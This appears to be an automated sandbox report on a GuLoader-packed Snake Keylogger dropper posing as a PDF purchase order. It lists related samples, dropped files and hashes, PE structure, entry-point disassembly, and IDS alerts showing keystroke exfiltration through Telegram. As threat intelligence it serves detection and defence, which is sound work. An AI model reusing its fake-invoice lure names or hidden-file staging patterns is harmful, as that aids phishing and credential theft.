	PK241200518-EMAIL RELEASE-pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	ugpJX5h56S.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	HUSDGHCE23ED.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	66776676676.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	0001.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Nuevo pedido de cotizaci#U00f3n 663837 4899272.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	149.154.167.220
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	De17De16.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	fghdsdf17.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	149.154.167.220
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	INVOICE-0098.pdf ... .lnk.lnk.d.lnk	Get hash	malicious	Unknown	Browse	172.217.17.65 216.58.208.238
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	F8HYX5HOgA.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	0iTxQouy7k.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	Overheaped237.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.217.17.65 216.58.208.238
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	main.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238
	deb.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.217.17.65 216.58.208.238

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	O0rhQM49FL.exe	Get hash	malicious	Unknown	Browse
	O0rhQM49FL.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Normalfordelingernes.Tep

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	286557
Entropy (8bit):	7.770343888910271
Encrypted:	false
SSDEEP:	6144:9+IYOsNolNiweVFXz/H3qABowdHC6giUXb2vq1pk:YIYOsNoCz/HjnHC6gis2cu
MD5:	42F88ECDCF508CA1F030AB99654B1B94
SHA1:	F2D3F277A442D52BEAC7D580F54965B52B7A1DA9
SHA-256:	AC87B5B811677F1A060BDF7600FD496C3FE7206E477AF66E9E87E8E31494A414
SHA-512:	2ACD83002BF2A2978E6867E0DD6E8C63B558F5B46A8F09C93DA7E324E6D4A4A11E9D9F59CDE92ABFFC7CB67CF270945C3DDDA974AAE5A62F4D91A643E8BED197
Malicious:	false
Reputation:	low
Preview:	...77...MM...U....................a.@@..........\|\|..W...............................]........TT.C......xxx.......................ccc.........888.((((......**....................k....N.aa.............................fff....................bbb.........w.............8..<..TTTTTTT....................;;;;;...88888............MM..E.............G................2..........A........7777...44....====..gggg..I.!......................QQ....55.o...................RR..........TTTT..........>.......____....................yyyy..._...........qq..............K..............................................kk.........''.``....[............;;;;.rrr.............\|\|.....P.'.....................v....EEE....___..................................^^....jjjjj.......................G.(..""..HH....AAA............###....,...........y..h...........ssss................S....i................99.Q....}}}}}}.......................<..........2..........((....G...aa.........................).>>....L...xx............;;.....p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	low
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\Unvenom.Lib

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	100679
Entropy (8bit):	4.621278860713537
Encrypted:	false
SSDEEP:	3072:WNPMSzD4yit9jfrvktCtUkSbywTZpryomlD:WNloyK9zbWO/miD
MD5:	93A2D636570664ED4B7EE832BC0032E3
SHA1:	235EDA5D6FF2BBA8924B02201A19F363CE45C1AE
SHA-256:	2950A96C82C080B013E477AC109CEA7823019329145AE64F81532B93C46C6480
SHA-512:	EF4887A3A677B0F165E039AD891F2A4091A415ED234B6A9912EB7556B5CD1F2A2B69A5D2D783C225BC98D14BEE87AE84105B745DC62414462FE296FC047B489A
Malicious:	false
Reputation:	low
Preview:	....xx........KKK........<........&...........!!!......TT......__.............OOOO......................EEE.}}.......IIII...............TT...........QQ.....33.aaa...........................m.......7................. ...............]].I....``...............i..7....zz.....].W.I......%%........9.........g........MMM.......'......jjjj...........}}}}.....H.GGG..........}.a..2.....==..............N......QQ.........99.............(...................444........s.99............................77.z...............4....>.......a..t.....................j."".............uu.%.>..........`..{{.................h...lll.4......99......................{{........&....'.......ZZ.....................ee.......................{.......c..........?.........:...vvvvv..................................gg................\|\|.............{..nn...............oo...,.......qq...............................V....m......]]]]]]....00.K....9........FF.)..............{{..RRR.L.....j..ww...........777..000.........vvvvvv....E.]

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	low
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	low
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PAYMENT ADVICE 750013-1012449943-81347-pdf.exe, Detection: malicious, Browse Filename: PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: RFQ December-January Forcast and TCL.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse Filename: SWIFT091816-24_pdf.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe, Detection: malicious, Browse Filename: SWIFT09181-24_pdf.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse Filename: O0rhQM49FL.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	3.2746695656782077
Encrypted:	false
SSDEEP:	12:8wl0+sXU1e/tz0/CSL6/cBnwgXl341DEDeG41DEDWBQ1olfW+kjcmAaxCalCNfBh:8FvWLrFPjPKmizZMxnkjqy
MD5:	823719C88FF1294851DE589A3B80552F
SHA1:	D49CE16897A1B57A73E4A035925757D49ECD619B
SHA-256:	0228C01257EEAEDA4C18F9C02C68F8EFA1A0A1C03A2E264733D162D6570B599B
SHA-512:	34A74AE2912256C7CE80805A2548A758A99BC2C098E417FF11B286451F998374184811819979E83FDF08DC3E592A76D1981293501A96909FCC86EE79B628710F
Malicious:	false
Preview:	L..................F........................................................q....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................a.l.f.o.n.s.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.Y.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.\.V.e.r.m.i.n.l.y.............}........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.963673421473499
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PURCHASE ORDER TRC-090971819130-24_pdf.exe
File size:	477'600 bytes
MD5:	745504717878bb22b600df7e2c2dd9f4
SHA1:	9515d0277803511a4f401674f40f022ed69c85d7
SHA256:	8a4d38092e7f0245aa376d724cf3dbe08d4b563a86db3c99e70defaa38beb969
SHA512:	8035ff6f18deaaec620acd824bbcecf07d38f2e2f77e322942f635320af75bbc4bd60250f0e61094eed22cfeef652791d61476bd7b4c613ebb6fb7952ae48e4d
SSDEEP:	12288:I5AlMIL/obq71R7Oj6rgcPIcXuQd7lxu7Jj1JK8s5FEeKN:ZtL/o2BR7Zrgcwgpxu7Jj1Jiceg
TLSH:	36A42301A510D743D16114764C326FAEBAADB768DAA52F07278C2D053F336A2CD2FD9A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F00C4EFBE53h
push ebp
call 00007F00C4EFEF96h
cmp eax, ebp
je 00007F00C4EFBE49h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007F00C4EFEF13h
push 0040A2ECh
call 00007F00C4EFEF09h
push 0040A2E0h
call 00007F00C4EFEEFFh
push 00000009h
call 00007F00C4EFEF64h
push 00000007h
call 00007F00C4EFEF5Dh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007F00C4EFEB4Ah
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F00C4EFEB38h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
RT_MANIFEST	0x5dea0	0x33f	XML 1.0 document, ASCII text, with very long lines (831), with no line terminators	English	United States	0.5547533092659447

Imports

DLL	Import
KERNEL32.dll	SetCurrentDirectoryW, GetFileAttributesW, GetFullPathNameW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, MoveFileW, SetFileAttributesW, GetCurrentProcess, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, CompareFileTime, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, lstrcpyW, MoveFileExW, lstrcatW, GetSystemDirectoryW, LoadLibraryW, GetProcAddress, GetModuleHandleA, ExpandEnvironmentStringsW, GetShortPathNameW, SearchPathW, lstrcmpiW, SetFileTime, CloseHandle, GlobalFree, lstrcmpW, GlobalAlloc, WaitForSingleObject, GlobalUnlock, GetDiskFreeSpaceW, GetExitCodeProcess, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, lstrlenA, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, GetDC, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, LoadImageW, SetWindowLongW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, SetTimer, FindWindowExW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T15:29:23.912768+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49713	216.58.208.238	443	TCP
2024-12-19T15:29:31.912821+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49733	132.226.247.73	80	TCP
2024-12-19T15:29:40.006658+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49733	132.226.247.73	80	TCP
2024-12-19T15:29:42.161159+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49756	149.154.167.220	443	TCP
2024-12-19T15:29:43.850430+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49761	132.226.247.73	80	TCP
2024-12-19T15:29:45.902560+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49766	149.154.167.220	443	TCP
2024-12-19T15:29:49.397276+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49776	149.154.167.220	443	TCP
2024-12-19T15:29:52.938425+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49785	149.154.167.220	443	TCP
2024-12-19T15:29:56.563595+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49796	149.154.167.220	443	TCP
2024-12-19T15:30:00.031933+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49806	149.154.167.220	443	TCP
2024-12-19T15:30:08.989401+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49827	149.154.167.220	443	TCP
2024-12-19T15:30:21.477445+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49859	149.154.167.220	443	TCP
2024-12-19T15:30:25.990535+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49871	149.154.167.220	443	TCP
2024-12-19T15:30:30.719693+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49883	149.154.167.220	443	TCP
2024-12-19T15:30:34.215299+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.5	49893	149.154.167.220	443	TCP
